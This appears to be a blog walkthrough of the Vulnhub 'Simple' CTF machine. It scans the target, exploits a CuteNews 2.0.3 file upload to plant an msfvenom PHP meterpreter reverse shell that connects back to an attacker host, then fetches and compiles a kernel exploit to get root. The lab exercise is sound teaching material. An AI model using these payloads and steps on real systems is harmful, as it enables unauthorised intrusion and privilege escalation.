Simple (Vulnuhub CTF)

Hey folks, Ashish this side. Today we are going to solve another CTF challenge “Simple” of the Vulnhub labs. Simple CTF is a boot2root that focuses on the basics of web-based hacking. First Download Simple VM from here

*Penetration Methodologies:

1. Network Scanning (netdiscover, Nmap)
2. Enumerate File upload vulnerability (searchsploit)
3. Generate PHP Backdoor (Msfvenom)
4. Upload and execute a backdoor
5. Reverse connection (Metasploit)
6. Import python one-liner for proper TTY shell
7. Kernel Privilege Escalation
8. Get Root access and capture the flag.

Let’s get started!

We will perform a local scan to discover machines on our local network

arp-scan -l 

Our target s 192.168.186.134

Then move on to scanning our target with Nmap

nmap -A 192.168.186.134

On scanning, you will find that port 80 is open which will be pointing toward cutenews. So we will now open it on our browser.

Now we can see that our target is using CuteNews v.2.0.3 and the good news is it is exploitable, so let’s search for its exploit:

searchsploit cutenews 2.0.3

Upon searching for the exploit we can see that we have the path for the exploit. Follow the path and go to the exploit’s “.txt” file. In the text file, you find the instructions to upload the file. The first thing it tells us to register on the website in order to have the power to upload a file.

To register it will ask you to give your username and password as shown below.

When you complete the steps of registering them, it will redirect you to the following window:

Now we need to upload the file so make it with the help of msfvenom following command:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.13 lport=4444 -f raw

On the other hand run multi/handler inside the Metasploit framework.

Copy the code from <?php to die() and save it in a file with a .php extension. To upload the file log in from the username with which you have just registered and then click on personal options give your username and mail ID and then browse the file that you want to upload and then click on save.

Now we will use dirb to find the directories. And for that type:

It will show you /uploads directory. This is the directory where your file will be uploaded. Open the directory in the browser and you find your uploaded file there.

Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting the multi-handler.

msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.13
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.

shell

Then to access the proper TTY shell we had import python one line script by typing the following:

python -c 'import pty;pty.spawn("/bin/bash")'

cd /tmp

Using sysinfo command I found machine architecture that helps me to find out a kernel exploit for privilege escalation and with help of Google search, we got an exploit 36746.c

As we know that version of the kernel is vulnerable, consequently we will download its exploit by the command given below:

wget https//www.exploit-db.com/download/36746.c

This will install the exploit successfully. Moving forward, we will compile the file:

gcc 36746.c -o access -static

Now we will open the file access:

./access

Then type id to know the users and then type:

cd /root

and will take you to the /root. Further type:

ls

It will list the files and one of those files will be flag.txt. To read the flag type:

cat flag.txt

Boom!

If this blog was helpful consider following me and a clap would really motivate me to write more such blogs.

Now you know what to do, try it yourself and let me know whether you got flag or not.

Keep Coming for more.

./Happy_Hacking :)